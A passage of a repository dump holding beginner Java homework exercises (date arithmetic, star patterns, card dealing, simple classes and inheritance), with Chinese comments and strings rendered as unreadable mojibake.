if(i==12){\n\t\t\ti=6;\n\t\t}\n\t\t\n\t\tSystem.out.println(year+\"��\"+mouth+\"��\"+date+\"��\");\n\t\tif((year%4==0&&year%100!=0)||(year%400==0)){\n\t\t\t\n\t\t\tif(mouth<=2){\n\t\t\t\tSystem.out.println((mouth-1)*30+date+i);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.println((mouth-1)*30+date+i-1);\n\t\t\t\tSystem.out.println(\"����\");\n\t\t\t}\n//\t\t\t����\n\t\t}\n\t\telse{\n\t\t\tif(mouth<=2){\n\t\t\t\tSystem.out.println((mouth-1)*30+date+i);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.println((mouth-1)*30+date+i-2);\n\t\t\t\tSystem.out.println(\"ƽ��\");\n\t\t\t}\n//\t\t\tƽ��\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/Operation.java",
    "content": "package com.jun.plugin.javase.twoday;\n\npublic class Operation {\n\tpublic static void main(String[] args) {\n//\t\tint  a=5,b=3;\n//\t\tfloat a=5,b=3;\n//\t\tdouble a=5,b=3;\n\t\tint a=5;\n\t\tdouble b=3;\n\t\tchar opr='/';\n\t\t\n\t\tswitch(opr){\n\t\t\tcase '+':System.out.println(a+b);\n\t\t\tbreak;\n\t\t\tcase '-':System.out.println(a-b);\n\t\t\tbreak;\n\t\t\tcase '*':System.out.println(a*b);\n\t\t\tbreak;\n\t\t\tcase '/':System.out.println(a/b);\n\t\t\tbreak;\n\t\t\tcase '%':System.out.println(a%b);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/Practice.java",
    "content": "package com.jun.plugin.javase.twoday;\nimport java.util.Scanner;\n\npublic class Practice {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t\t/*char c1=0+'0';\n\t\tchar c2=0+'A';\n\t\tchar c3=0+'a';\n\t\tSystem.out.println(c1+\" \"+c2+\" \"+c3);*/\n\t\t\n\t\t/*for(int i=0;i<=61;i++){\n\t\t\tif(i<10){\n\t\t\t\tSystem.out.print((char)(i+'0'));\n\t\t\t\tif(i==9){\n\t\t\t\t\tSystem.out.println();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(i<36){\n\t\t\t\tSystem.out.print((char)((i-10)+'A'));\n\t\t\t\tif(i==35){\n\t\t\t\t\tSystem.out.println();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tSystem.out.print((char)((i-36)+'a'));\n\t\t\t}\n\t\t}*/\n\t\t\n\t\t/*int a=5,b=2,c=9;\n\t\t\n\t\tint temp=a>b?a:b;\n\t\t\n\t\tint max=temp>c?temp:c;\n\t\t\n\t\tSystem.out.println(max);*/\n\t\t\n\t\t\n\t\t/*Scanner scana=new Scanner(System.in);\n\t\tSystem.out.println(\"����������a��\");\n\t\tint a=scana.nextInt();\n\t\t\n\t\tScanner scanb=new Scanner(System.in);\n\t\tSystem.out.println(\"����������b��\");\n\t\tint b=scanb.nextInt();\n\t\t\n\t\tScanner scanc=new Scanner(System.in);\n\t\tSystem.out.println(\"����������c��\");\n\t\tint c=scanc.nextInt();\n\t\t\n\t\tint t=a>b?a:b;\n\t\tint m=t>c?t:c;\n\t\tSystem.out.println(m);*/\n\t\t\n\t\t/*int a=1,b;\n\t\tb=(a++)+(++a)+(a++)+a;\n\t\tSystem.out.println(a+\",\"+b);*/\n\t\t\n\t\t\n\t\tint day=46;\n\t\t\n//\t\tSystem.out.println(\"����\"+day%7);\n\t\t\n\t\twhile(day<=7){\n\t\t\tSystem.out.println(\"����\"+day);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\twhile(day>7){\n\t\t\tint m=day/7;\n\t\t\tint n=day%7;\n\t\t\tSystem.out.println(\"��\"+m+\"��\"+\",\"+\"����\"+n);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tint a=10;\n\t\tchar d=(char)a;\n//\t\tbyte e=(byte)129;���-127\n//\t\tchar e='��'ֻ�ܴ��һ������;\n\t\tchar b='A';\n\t\tint c=(int)b;//ת��֮����ʾA��ASCII��\n\t\tSystem.out.println(d);\n\t\t\n\n\t\t\n\t\t/*while(day%7==0){\n\t\t\tSystem.out.println(\"������\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==1){\n\t\t\tSystem.out.println(\"����1\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==2){\n\t\t\tSystem.out.println(\"����2\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==3){\n\t\t\tSystem.out.println(\"����3\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==4){\n\t\t\tSystem.out.println(\"����4\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==5){\n\t\t\tSystem.out.println(\"����5\");\n\t\t\tbreak;\n\t\t}\n\t\twhile(day%7==6){\n\t\t\tSystem.out.println(\"����6\");\n\t\t\tbreak;\n\t\t}*/\n\t\t\n\t\t\n\t\t/*System.out.println(com(9,6,4));\t*/\n\t}\n\t\n\t/*static int com(int a,int b,int c){\n\t\tint t=a>b?a:b;\n\t\tint m=t>c?t:c;\n\t\treturn m;\n\t}*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/Star.java",
    "content": "package com.jun.plugin.javase.twoday;\n\npublic class Star {\n\tpublic static void main(String[] args) {\n\t\tfor(int i=0;i<5;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<i;k++){\n\t\t\t\tSystem.out.print(\"%\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<=5-i;k++){\n\t\t\t\tif(k==0){\n\t\t\t\t\tSystem.out.print(\"@\");\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(\" \");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\n\t\tfor(int i=0;i<=4;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<i*2+1;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=4;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<=4;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=4;i++){\n\t\t\tfor(int j=0;j<=4-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<=i*2;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tfor(int i=0;i<=3;i++){\n\t\t\tfor(int j=0;j<=i+1;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=6;k>=i*2;k--){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\tSystem.out.println(\"=======================\");\n\t\tfor(int i=1;i<=4;i++){\n\t\t\tfor(int j=1;j<=4-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=1;k<=i*2-1;k++){\n\t\t\t\tSystem.out.print(\"#\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tfor(int i=1;i<=3;i++){\n\t\t\tfor(int j=1;j<=i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=5;k>=i*2-1;k--){\n\t\t\t\tSystem.out.print(\"#\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<5-i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tSystem.out.println(\"=======================\");\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<11-2*i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/Sum.java",
    "content": "package com.jun.plugin.javase.twoday;\n\npublic class Sum {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tdouble sum = 0;\n        for(int i=1; i<=100; i++){\n        \tsum += 1.0/i;//��Χ����뷶ΧС�����㣬��ΧС���Զ�תΪ��Χ��ģ�double>int\n        }\n        System.out.println(\"sum = \" + sum);\t\n        \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/Test.java",
    "content": "package com.jun.plugin.javase.twoday;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(1.0/5);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/ArrayTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\nimport java.util.Scanner;\n\npublic class ArrayTest {\n\tpublic static void main(String[] args) {\n//\t\tint[] arr= {1,2,3,4,5};\n//\t\tprintArray(arr);\n\t\t\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"����������������\");\n\t\tint n=scan.nextInt();\n\t\tprintArray(myArray(n));\n\t}\n\tstatic void printArray(int[] array) {\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++) {\n\t\t\tif(i==array.length-1) {\n\t\t\t\tSystem.out.print(array[i]);\n\t\t\t\tSystem.out.println(\"]\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\tstatic int[] myArray(int n) {\n\t\tint[] arr=new int[n];\n\t\tfor(int i=0;i<n;i++) {\n\t\t\tint a=(int)(Math.random()*50+50);\n\t\t\tarr[i]=a;\n\t\t}\n\t\treturn arr;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/BankTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\npublic class BankTest {\n\tpublic static void main(String[] args) {\n\t\tBank b1=new Bank();\n\t\tb1.setIncome(100);\n\t\tb1.setExpenditure(30);\n//\t\tb1.showBalance();\n\t\tSystem.out.println(b1.getBalance());\n\t\tBank b2=new Bank(200,100);\n\t\tb2.showBalance();\n\t\t\n\t}\n}\nclass Bank{\n\tprivate int income;\n\tprivate int expenditure;\n\tprivate int balance;\n\tBank(){\n\t\t\n\t}\n\tBank(int income,int expenditure){\n\t\tthis.income=income;\n\t\tthis.expenditure=expenditure;\n\t}\n\tvoid setIncome(int income) {\n\t\tthis.income=income;\n\t}\n\tint getIncome() {\n\t\treturn this.income;\n\t}\n\tvoid setExpenditure(int expenditure) {\n\t\tthis.expenditure=expenditure;\n\t}\n\tint getExpenditure() {\n\t\treturn this.expenditure;\n\t}\n\tint getBalance() {\n\t\treturn (getIncome()-getExpenditure());\n\t}\n\tvoid showBalance() {\n\t\tSystem.out.println(\"�˻���\"+getBalance());\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/DiceTest.java",
    "content": "    package com.jun.plugin.javase.winterHomeWork;\n\npublic class DiceTest {\n\tpublic static void main(String[] args) {\n\t\tDice d1=new Dice();\n\t\tint a=d1.throwDice();\n\t\tint b=d1.throwDice();\n\t\tif(a+b==7) {\n\t\t\tSystem.out.println(\"��Ӯ��\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t}\n}\nclass Dice{\n\tprivate int count;\n\tpublic int throwDice() {\n\t\tthis.count=(int)(Math.random()*6+1);\n\t\tSystem.out.println(this.count);\n\t\treturn count;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/InterestTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\npublic class InterestTest {\n\tpublic static void main(String[] args) {\n\t\tInterest.setRate(0.0225);\n\t\t//Interest.setTax(0.2);\n\t\tSystem.out.println(Interest.getTax());\n\t\tInterest i1=new Interest(10000,5);\n\t\tSystem.out.println(i1.showSum());\n\t}\n}\nclass Interest{\n\tprivate static double rate;\n\tprivate static double tax;\n\tprivate double amount;\n\tprivate int year;\n\tInterest(){\n\t\t\n\t}\n\tInterest(double amount,int year){\n\t\tthis.amount=amount;\n\t\tthis.year=year;\n\t}\n\tstatic void setRate(double rate) {\n\t\tInterest.rate=rate;\n\t}\n\tstatic void setTax(double tax) {\n\t\tInterest.tax=tax;\n\t}\n\tstatic double getTax() {\n\t\treturn Interest.tax;\n\t}\n\t\n\tpublic double getAmount() {\n\t\treturn amount;\n\t}\n\tpublic void setAmount(double amount) {\n\t\tthis.amount = amount;\n\t}\n\tpublic int getYear() {\n\t\treturn year;\n\t}\n\tpublic void setYear(int year) {\n\t\tthis.year = year;\n\t}\n\tdouble showSum() {\n\t\tdouble sum=1;\n\t\tif(Interest.getTax()==0) {\n\t\t\tfor(int i=0;i<year;i++) {\n\t\t\t\tsum*=(1+rate);\n\t\t\t}\n\t\t}//����Ϣ˰\n\t\telse {\n\t\t\tfor(int i=0;i<year;i++) {\n\t\t\t\tsum*=(1+rate*Interest.getTax());\n\t\t\t}\n\t\t}//����Ϣ˰\n\t\treturn getAmount()*sum;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/PokerTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Random;\n\npublic class PokerTest {\n\tpublic static void main(String[] args) {\n\t\tPoker2 dbColorBall = new Poker2();\n\t\tdbColorBall.showResult(4);\n\t}\n}\nclass Poker2{\n\tHashMap<String, String> map = new HashMap<String, String>();\n\tprivate static final String[] colors = {\"����\", \"����\", \"÷��\", \"����\"};\n\tprivate static final String[] values = {\"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\", \"A\", \"2\"};\n\tprivate String[] newpai;  private int len;\n\tpublic Poker2() {\n\t\tlen = colors.length * values.length;\n\t\tnewpai = new String[len];\n\t\tint k = 0;\n\t\tfor (int i = 0; i < colors.length; i++) {\n\t\t\tfor (int j = 0; j < values.length; j++) {\n\t\t\t\tnewpai[k] = colors[i] + values[j];\n\t\t\t\tk++;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tprivate void getNums() {\n\t\tRandom r = new Random();\n\t\tint i = r.nextInt(len);\n\t\tString s;\n\t\tif (i >= 0 && !map.containsKey(String.valueOf(i))) {\n\t\t\ts = String.valueOf(i);\n\t\t\tmap.put(s, newpai[i]);\n\t\t} else {\n\t\t\tgetNums();\n\t\t}\n\t}\n\t\n\tpublic void showResult(int p) {\n\t\tfor (int i = 0; i < len; i++) {\n\t\t\tgetNums();\n\t\t}\n\t\tint l = len/p; //ÿ�˷�������\n\t\tint j=1;//������\n\t\tint k=0;//������\n\t\tfor (Map.Entry<String, String> entry : map.entrySet()) {\n\t\t\tif(k%l==0 && j<=p){\n\t\t\t\tSystem.out.println();\n\t\t\t\tSystem.out.print(\"��\"+j+\"���˵���:\");\n\t\t\t\tj++;\n\t\t\t} else if(len-k <= len%p){\n\t\t\t\tSystem.out.println();\n\t\t\t\tSystem.out.print(\"ʣ�����:\");\n\t\t\t}\n\t\t\tk++;\n\t\t\tSystem.out.print(entry.getValue()+\",\");\n\t\t}  \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/PokerTest2.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\npublic class PokerTest2 {\n\tpublic static void main(String[] args) {\n\t\tPoker p1=new Poker();\n\t\tp1.licensing(4);\n\t}\n}\nclass Poker{\n\tString[] colorArr= {\"����\",\"����\",\"����\",\"÷��\"};\n\tString[] valueArr= {\"A\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"Q\",\"K\"};\n\tString[] pokerArr=new String[52];\n\tPoker(){\n\t\tint k=0;\n\t\tfor(int i=0;i<colorArr.length;i++) {\n\t\t\tfor(int j=0;j<valueArr.length;j++) {\n\t\t\t\tpokerArr[k]=colorArr[i]+valueArr[j];\n\t\t\t\tk++;\n\t\t\t}\n\t\t}\n\t}\n\tpublic void shuffle(int n) {\n\t\tlicensing(n);\n\t}\n\t\n\tpublic void licensing(int n) {\n\t\tfor(int i=0;i<n;i++) {\n\t\t\tint count=52/n;\n\t\t\tSystem.out.println(\"��\"+(i+1)+\"���˵�����:\");\n\t\t\tdo {\n\t\t\t\tint j=getRandomNum();\n\t\t\t\tif(pokerArr[j]==null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tSystem.out.print(pokerArr[j]+\",\");\n\t\t\t\tpokerArr[j]=null;\n\t\t\t\tif(count<0) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcount--;\n\t\t\t}while(count>0);\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n\t\n\tpublic int getRandomNum() {\n\t\treturn (int)(Math.random()*52);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/PokerTest3.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\npublic class PokerTest3 {\n\tpublic static void main(String[] args) {\n\t\tPoker3 p1=new Poker3();\n\t\tint[] arr={1,2,3,4,5,6,7,8,9,0};\n\t\tp1.getRandomNum(arr);\n\t}\n}\n\nclass Poker3{\n\tString[] colorArr= {\"����\",\"����\",\"����\",\"÷��\"};\n\tString[] valueArr= {\"A\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"Q\",\"K\"};\n\tString[] pokerArr=new String[52];\n\tPoker3(){\n\t\tint k=0;\n\t\tfor(int i=0;i<colorArr.length;i++) {\n\t\t\tfor(int j=0;j<valueArr.length;j++) {\n\t\t\t\tpokerArr[k]=colorArr[i]+valueArr[j];\n\t\t\t\tk++;\n\t\t\t}\n\t\t}\n\t}\n\tpublic void shuffle() {\n\t\tint count=52/2;\n\t\tint[] intdexArr=new int[count];\n\t\tfor(int i=0;i<52/2;i++){\n\t\t\tint index=getRandomNum(intdexArr);\n\t\t\tintdexArr[i]=index;\n\t\t\tSystem.out.println(\"���������\"+index);\n\t\t\t/*do{\n\t\t\t\tpokerArr[i]=pokerArr[index];\n\t\t\t\tString temp=pokerArr[i];\n\t\t\t\tpokerArr[index]=temp;\n\t\t\t\tcount--;\n\t\t\t\tif(count<0){\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}while(count>0);*/\n\t\t}\n\t}//ϴ��\n\t\n\tpublic void licensing(int n){\n\t\tint k=0;\n\t\tfor(int i=0;i<n;i++){\n\t\t\tfor(int j=0;j<52/n;j++){\n\t\t\t\tSystem.out.print(pokerArr[k]+\",\");\n\t\t\t\tk++;\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}//����\n\tpublic int getRandomNum(int[] arr) {\n\t\tint number=0;\n\t\tint temp=0;\n\t\tboolean flag=false;\n\t\tdo{\n\t\t\tfor(int i=0;i<arr.length;i++){\n\t\t\t\tnumber=(int)(Math.random()*52);\n\t\t\t\tif(number==arr[i]){\n\t\t\t\t\tflag=true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(flag==false){\n\t\t\t\ttemp=number;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}while(flag);\n//\t\treturn number;\n\t\treturn temp;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/StudentTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\npublic class StudentTest {\n\tpublic static void main(String[] args) {\n\t\tStudent s1=new Student();\n\t\tStudent s2=new Student();\n\t\tStudent s3=new Student();\n\t\tStudent.showCount();\n\t\tStudent s4=new Student(1,\"zs\",\"nv\",\"5��\");\n\t\tStudent s5=new Student(2,\"zs\",\"nv\",\"6��\");\n\t\tStudent s6=new Student(3,\"zs\",\"nv\",\"7��\");\n\t\tStudent.showCount();\n\t\ts1.show();\n\t\ts2.show();\n\t\ts3.show();\n\t\ts4.show();\n\t\ts5.show();\n\t\ts6.show();\n\t}\n}\nclass Student{\n\tprivate int sno;\n\tprivate String name;\n\tprivate String sex;\n\tprivate String clazz;\n\tstatic int count;\n\tStudent(){\n\t\tcount++;\n\t}\n\tStudent(int sno,String name,String sex,String clazz){\n\t\tthis.sno=sno;\n\t\tthis.name=name;\n\t\tthis.sex=sex;\n\t\tthis.clazz=clazz;\n\t\tcount++;\n\t}\n\tpublic int getSno() {\n\t\treturn sno;\n\t}\n\tpublic void setSno(int sno) {\n\t\tthis.sno = sno;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\tpublic String getClazz() {\n\t\treturn clazz;\n\t}\n\tpublic void setClazz(String clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\tpublic void show() {\n\t\tSystem.out.println(\"ѧ��:\"+getSno()+\"������:\"+getName()+\"���Ա�:\"+getSex()+\"���༶:\"+getClazz());\n\t}\n\tpublic static void showCount() {\n\t\tSystem.out.println(\"�Ѿ�����\"+Student.count+\"������\");\n\t}\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise5/TeacherTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise5;\n\npublic class TeacherTest {\n\tpublic static void main(String[] args) {\n\t\tTeacher.setCoefficient(1.2);\n\t\tTeacher t1=new Teacher(10);\n\t\tTeacher t2=new Teacher(20);\n\t\tSystem.out.println(t1.courseCompute());\n\t\tSystem.out.println(t2.courseCompute());\n\t}\n}\nclass Teacher{\n\tprivate double amount;\n\tprivate static double coefficient;\n\tTeacher(){\n\t\t\n\t}\n\tTeacher(double amount){\n\t\tthis.amount = amount;\n\t}\n\tpublic double getAmount() {\n\t\treturn amount;\n\t}\n\tpublic void setAmount(double amount) {\n\t\tthis.amount = amount;\n\t}\n\tpublic static double getCoefficient() {\n\t\treturn coefficient;\n\t}\n\tpublic static void setCoefficient(double coefficient) {\n\t\tTeacher.coefficient = coefficient;\n\t}\n\tdouble courseCompute() {\n\t\treturn (getAmount()*getCoefficient());\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise6/AnimalTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise6;\n\npublic class AnimalTest {\n\tpublic static void main(String[] args) {\n\t\tRabbit r1=new Rabbit();\n\t\tr1.eat();\n\t\tr1.sleep();\n\t\tTiger t1=new Tiger();\n\t\tt1.eat();\n\t\tt1.sleep();\n\t}\n}\nclass Animal{\n\tpublic void eat(){\n\t\t\n\t}\n\tpublic void sleep() {\n\t\tSystem.out.println(\"˯����\");\n\t}\n}\nclass Rabbit extends Animal{\n\tpublic void eat(){\n\t\tSystem.out.println(\"�ҳԲ�\");\n\t}\n}\nclass Tiger extends Animal{\n\tpublic void eat(){\n\t\tSystem.out.println(\"�ҳ���\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise6/EleApplianceTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise6;\n\npublic class EleApplianceTest {\n\tpublic static void main(String[] args) {\n\t\t/*TV t1=new TV(\"100,\",\"100,\",\"100,\",\"����1,\",\"Һ��,\",\"100\");\n\t\tt1.work();\n\t\tRefrigerator r1=new Refrigerator(\"200,\",\"300,\",\"300,\",\"����3,\",\"2000L\");\n\t\tr1.work();\n\t\tr1.show();*/\n\t\tEleAppliance e1=new TV();\n\t\te1.work();\n\t\tEleAppliance e2=new Refrigerator();\n\t\te2.work();\n//\t\te2.show();//show()��������У����ܵ���\n\t}\n}\nclass EleAppliance{\n\tprivate String power;\n\tprivate String ratedVoltage;\n\tprivate String ratedPower;\n\tprivate String type;\n\tEleAppliance(){\n\t\t\n\t}\n\tpublic EleAppliance(String power, String ratedVoltage, String ratedPower, String type) {\n\t\tthis.power = power;\n\t\tthis.ratedVoltage = ratedVoltage;\n\t\tthis.ratedPower = ratedPower;\n\t\tthis.type = type;\n\t}\n\t\n\tpublic String getPower() {\n\t\treturn power;\n\t}\n\tpublic void setPower(String power) {\n\t\tthis.power = power;\n\t}\n\tpublic String getRatedVoltage() {\n\t\treturn ratedVoltage;\n\t}\n\tpublic void setRatedVoltage(String ratedVoltage) {\n\t\tthis.ratedVoltage = ratedVoltage;\n\t}\n\tpublic String getRatedPower() {\n\t\treturn ratedPower;\n\t}\n\tpublic void setRatedPower(String ratedPower) {\n\t\tthis.ratedPower = ratedPower;\n\t}\n\tpublic String getType() {\n\t\treturn type;\n\t}\n\tpublic void setType(String type) {\n\t\tthis.type = type;\n\t}\n\tvoid work() {\n\t\t\n\t}\n}\nclass TV extends EleAppliance{\n\tprivate String kind;\n\tprivate String maxVolume;\n\tTV(){\n\t\t\n\t}\n\tpublic TV(String power, String ratedVoltage, String ratedPower, String type, String kind, String maxVolume) {\n\t\tsuper(power, ratedVoltage, ratedPower, type);\n\t\tthis.kind=kind;\n\t\tthis.maxVolume=maxVolume;\n\t}\n\tpublic String getKind() {\n\t\treturn kind;\n\t}\n\tpublic void setKind(String kind) {\n\t\tthis.kind = kind;\n\t}\n\tpublic String getMaxVolume() {\n\t\treturn maxVolume;\n\t}\n\tpublic void setMaxVolume(String maxVolume) {\n\t\tthis.maxVolume = maxVolume;\n\t}\n\tvoid work() {\n\t\tSystem.out.println(\"���ӻ��Ĺ��������ǲ��Ž�Ŀ\");\n\t}\n}\nclass Refrigerator extends EleAppliance{\n\tprivate String capacity;\n\tRefrigerator(){\n\t\t\n\t}\n\tpublic Refrigerator(String power, String ratedVoltage, String ratedPower, String type, String capacity) {\n\t\tsuper(power, ratedVoltage, ratedPower, type);\n\t\tthis.capacity=capacity;\n\t}\n\t\n\tpublic String getCapacity() {\n\t\treturn capacity;\n\t}\n\tpublic void setCapacity(String capacity) {\n\t\tthis.capacity = capacity;\n\t}\n\tvoid work() {\n\t\tSystem.out.println(\"����Ĺ����Ǳ���ʳ��\");\n\t}\n\tvoid show() {\n\t\tSystem.out.println(\"����Ĺ�����Ϣ:\"+getPower()+getRatedVoltage()+getRatedPower()+getType()+getCapacity());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise6/FamilyTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise6;\n\npublic class FamilyTest {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise6/InstrumentTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise6;\n\npublic class InstrumentTest {\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n}\nclass Instrument{\n\tvoid play(){\n\t\t\n\t}\n}\nclass Piano extends Instrument{\n\tvoid play(){\n\t\tSystem.out.println(\"���ٵ���\");\n\t}\n}\nclass Violin extends Instrument{\n\tvoid play(){\n\t\tSystem.out.println(\"С���ٵ���\");\n\t}\n}\n"
  },
  {
